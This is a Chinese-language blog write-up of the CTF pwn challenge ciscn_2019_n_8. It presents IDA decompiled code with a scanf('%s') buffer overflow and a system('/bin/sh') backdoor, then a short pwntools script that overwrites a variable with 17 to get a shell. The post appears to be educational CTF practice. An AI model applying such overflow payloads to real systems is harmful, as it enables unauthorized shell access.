ciscn_2019_n_8

题目链接:ciscn_2019_n_8

下载附件后,使用 IDA 反编译,定位到 main 函数,如下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

可以看到,存在函数 scanf("%s") 的栈溢出,并且存在后门,因此直接通过栈溢出,控制指定内存区域的值为 17,即可 GetShell。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    sla("What's your name?\n", 52 * b"a" + p32(17))
    irt()

pwn()
posted @ 2025-03-27 01:40  imtaieee  阅读(29)  评论(0)    收藏  举报